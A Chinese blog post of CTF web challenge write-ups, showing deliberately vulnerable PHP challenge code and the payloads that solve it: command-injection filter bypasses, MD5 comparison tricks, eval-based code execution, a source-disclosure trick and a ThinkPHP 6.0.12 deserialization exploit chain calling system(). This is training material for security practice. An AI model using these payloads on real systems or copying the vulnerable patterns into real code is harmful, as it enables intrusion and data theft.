当前位置:   article > 正文

CTF-web刷题1

CTF-web刷题1

1.[SWPUCTF 2021 新生赛]finalrce

  1. <?php
  2. highlight_file(__FILE__);
  3. if(isset($_GET['url']))
  4. {
  5. $url=$_GET['url'];
  6. if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
  7. {
  8. echo "Sorry,you can't use this.";
  9. }
  10. else
  11. {
  12. echo "Can you see anything?";
  13. exec($url);
  14. }
  15. }

NSSCTF | 在线CTF平台  wp

  1. ?url=l''s |tee 1.txt
  2. ?url=l's' | tee 1.txt
  3. ?url=l``s |tee 1.txt
  4. ?url=l\s |tee 1.txt
  5. ?url=dir |tee 1.txt
  6. ?url=find |tee 1.txt
?url=l''s / |tee 1.txt
  1. ?url=c''at /flllll''aaaaaaggggggg|tee 1.txt
  2. ?url=tac /flllll?????????????|tee 1.txt
  3. ?url=nl /flllll?????????????|tee 1.txt
  4. ?url=sort /flllll?????????????|tee 1.txt
  5. ?url=head /flllll?????????????|tee 1.txt
  6. ?url=tail /flllll?????????????|tee 1.txt
  7. ?url=tailf /flllll?????????????|tee 1.txt

2.[LitCTF 2023]Ping

3. [GXYCTF 2019]Ping Ping Ping

$IFS$9代替空格

  1. <?php
  2. if(isset($_GET['ip'])){
  3. $ip = $_GET['ip'];
  4. if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
  5. print_r($match);
  6. print($ip);
  7. echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
  8. die("fxck your symbol!");
  9. }
  10. else if(preg_match("/ /", $ip)){
  11. die("fxck your space!");
  12. }
  13. else if(preg_match("/bash/", $ip)){
  14. die("fxck your bash!");
  15. }
  16. else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
  17. die("fxck your flag!");
  18. }
  19. $a = shell_exec("ping -c 4 ".$ip);
  20. echo "<pre>";
  21. print_r($a);
  22. }
  23. ?>
;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`

4.[鹤城杯 2021]EasyP

  1. <?php
  2. include 'utils.php';
  3. if (isset($_POST['guess'])) {
  4. $guess = (string) $_POST['guess'];
  5. if ($guess === $secret) {
  6. $message = 'Congratulations! The flag is: ' . $flag;
  7. } else {
  8. $message = 'Wrong. Try Again';
  9. }
  10. }
  11. if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  12. exit("hacker :)");
  13. }
  14. if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
  15. exit("hacker :)");
  16. }
  17. if (isset($_GET['show_source'])) {
  18. highlight_file(basename($_SERVER['PHP_SELF']));
  19. exit();
  20. }else{
  21. show_source(__FILE__);
  22. }
  23. ?>

NSSCTF | 在线CTF平台  wp

 利用最后一个判断的highlight_file函数显示utils.php

$_SERVER['PHP_SELF']         127.0.0.1/index.php/utils.php?a=1         /index.php/utils.php

$_SERVER['REQUEST_URI'] 127.0.0.1/index.php/utils.php?a=1    /index.php/utils.php?a=1

basename     /index.php/utils.php     utils.php

/index.php/utils.php/%ff?%73how_source=1

 5.[LitCTF 2023]Http pro max plus

 

 

 

 

 6.[NSSCTF 2022 Spring Recruit]babyphp

  1. <?php
  2. highlight_file(__FILE__);
  3. include_once('flag.php');
  4. if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
  5. if(isset($_POST['b1'])&&$_POST['b2']){
  6. if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
  7. if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
  8. echo $flag;
  9. }else{
  10. echo "yee";
  11. }
  12. }else{
  13. echo "nop";
  14. }
  15. }else{
  16. echo "go on";
  17. }
  18. }else{
  19. echo "let's get some php";
  20. }
  21. ?>

 a[]=1&b1[]=2&b2[]=1&c1=240610708&c2=QNKCDZO

 7.[LitCTF 2023]Vim yyds

 vim -r .index.php.swp

  1. <html>
  2. <head>
  3. <meta charset="UTF-8">
  4. <style type="text/css">
  5. body,
  6. html {
  7. display: flex;
  8. align-items: center;
  9. justify-content: center;
  10. }
  11. div.vim {
  12. display: flex;
  13. align-content: center;
  14. vertical-align: middle;
  15. justify-content: center;
  16. }
  17. img {
  18. border: none;
  19. width: 8rem;
  20. height: auto;
  21. }
  22. h1.vim_yyds {
  23. color: #50f728;
  24. display: flex;
  25. align-items: flex-start;
  26. justify-content: center;
  27. margin-top: 50;
  28. margin-left: 5px;
  29. }
  30. h3.vim_said {
  31. color: #39c2ff;
  32. display: flex;
  33. justify-content: center;
  34. align-items: center;
  35. }
  36. br,
  37. p {
  38. font-size: 20;
  39. }
  40. </style>
  41. </head>
  42. <body>
  43. <main>
  44. <div class="vim">
  45. <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>
  46. <h1 class="vim_yyds">
  47. Vim yyds
  48. </h1>
  49. </div>
  50. <h3 class="vim_said">
  51. 队里师傅说Vim是世界上最好的编辑器,不接受反驳
  52. </h3>
  53. <div class="can_can_vim">
  54. <?php
  55. error_reporting(0);
  56. $password = "Give_Me_Your_Flag";
  57. echo "<p>can can need Vim </p>";
  58. if ($_POST['password'] === base64_encode($password)) {
  59. echo "<p>Oh You got my password!</p>";
  60. eval(system($_POST['cmd']));
  61. }
  62. ?>
  63. </div>
  64. </main>
  65. </body>

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

8.[UUCTF 2022 新生赛]ez_rce Koiruyki

  1. <?php
  2. ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
  3. if(isset($_GET['code'])){
  4. $code=$_GET['code'];
  5. if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
  6. echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
  7. eval($code);
  8. }
  9. else{
  10. die("你想干什么?????????");
  11. }
  12. }
  13. else{
  14. echo "居然都不输入参数,可恶!!!!!!!!!";
  15. show_source(__FILE__);
  16. }

?code=var_dump(`nl%20/f????????????????`);

 ?code=print`c\at /fffffffffflagafag`;

9.[SWPUCTF 2022 新生赛]numgame

  1. <?php
  2. error_reporting(0);
  3. //hint: 与get相似的另一种请求协议是什么呢
  4. include("flag.php");
  5. class nss{
  6. static function ctf(){
  7. include("./hint2.php");
  8. }
  9. }
  10. if(isset($_GET['p'])){
  11. if (preg_match("/n|c/m",$_GET['p'], $matches))
  12. die("no");
  13. call_user_func($_GET['p']);
  14. }else{
  15. highlight_file(__FILE__);
  16. }

Nss::Ctf

Nss2::Ctf

10.[SWPUCTF 2022 新生赛]webdog1__start

  1. 弱比较情况下(即你看到的"=="):
  2. 一般这种情况下的md5绕过是传入0e开头的md5值或者数组,因为在弱比较时,会把非同类型类型转换为同类型进行比较,在字符串类型下弱比较中会截取一个字符串前面的数字,直到遇到字符截止,对于0e+数字的值只会截取e之前的0,当然你用什么123a=123b也是可以绕过
  3. 所以等号两边同传0e开头时,在弱比较时候就变成了0=0
  4. 数组绕过原理是因为两边都是数组,在转换时候为falsefalse=false所以绕过,当然这里强比较也可以用数组绕过,大家可以思考一下0e开头和123a这种方式在什么时候能绕过强比较或者根本不能绕过。
  5. 话说回来,这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,这里就是gank数组绕过和123a的。
  6. 所以我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a
  7. payload=?web=0e215962017 作者:很菜的wl https://www.bilibili.com/read/cv19260410/ 出处:bilibili

robots.txt

F1l1l1l1l1lag.php

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. if (isset($_GET['get'])){
  5. $get=$_GET['get'];
  6. if(!strstr($get," ")){
  7. $get = str_ireplace("flag", " ", $get);
  8. if (strlen($get)>18){
  9. die("This is too long.");
  10. }
  11. else{
  12. eval($get);
  13. }
  14. }else {
  15. die("nonono");
  16. }
  17. }
  18. ?>
  1. 1. 利用绝对路径前面的"/"分隔 Cat$IFS/flag.php
  2. 2. 利用通配符“?”分隔 ???在linux里面可以进行代替字母
  3. *在linux里面可以进行模糊匹配 Cat$IFS?lag.php
  4. 3.利用“${}”分隔Cat${IFS}flag.php
  5. 4.可以创建自定义变量 a=参数;命令$IFS$a Cat$IFS$aflag.php
  6. 5.未过滤"0~9""@""*"命令$IFS$[上述的任意一个数字/字符]参数
  7. 通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令
  8. 格式:cat<fileName cat<>flag.txt
  9. 对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
  10. 其他绕过方式:制表符"%09"、“%0a” 制表符\t
  11. 如果你还能在群里找到文件,那你可以去翻来看看
  12. 至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配
  13. 而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种
  14. 最终payload:?get=system("nl%09/*"); or ?get=system("nl\t/*");
  15. 当然其他能绕过方式也行,这里只是一个参考。 作者:很菜的wl https://www.bilibili.com/read/cv19260410/ 出处:bilibili

11.[GXYCTF 2019]禁止套娃

.git泄露获取index.php源代码

  1. <?php
  2. include "flag.php";
  3. echo "flag在哪里呢?<br>";
  4. if(isset($_GET['exp'])){
  5. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
  6. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
  7. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
  8. // echo $_GET['exp'];
  9. @eval($_GET['exp']);
  10. }
  11. else{
  12. die("还差一点哦!");
  13. }
  14. }
  15. else{
  16. die("再好好想想!");
  17. }
  18. }
  19. else{
  20. die("还想读flag,臭弟弟!");
  21. }
  22. }
  23. // highlight_file(__FILE__);
  24. ?>
?exp=show_source(session_id(session_start()));
Cookie: PHPSESSID=flag.php

12.[CISCN 2022 初赛]ezpop

 

反序列化漏洞

www.zip下载源码

exp

[代码审计] ThinkPHP V6.0.12LTS 反序列化漏洞-CSDN博客

  1. <?php
  2. // 保证命名空间的一致
  3. namespace think {
  4. // Model需要是抽象类
  5. abstract class Model {
  6. // 需要用到的关键字
  7. private $lazySave = false;
  8. private $data = [];
  9. private $exists = false;
  10. protected $table;
  11. private $withAttr = [];
  12. protected $json = [];
  13. protected $jsonAssoc = false;
  14. // 初始化
  15. public function __construct($obj='') {
  16. $this->lazySave = true;
  17. $this->data = ['whoami'=>['cat /nssctfflag']];
  18. $this->exists = true;
  19. $this->table = $obj; // 触发__toString
  20. $this->withAttr = ['whoami'=>['system']];
  21. $this->json = ['whoami'];
  22. $this->jsonAssoc = true;
  23. }
  24. }
  25. }
  26. namespace think\model {
  27. use think\Model;
  28. class Pivot extends Model {
  29. }
  30. // 实例化
  31. $p = new Pivot(new Pivot());
  32. echo urlencode(serialize($p));
  33. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/387074
推荐阅读
相关标签
  

闽ICP备14008679号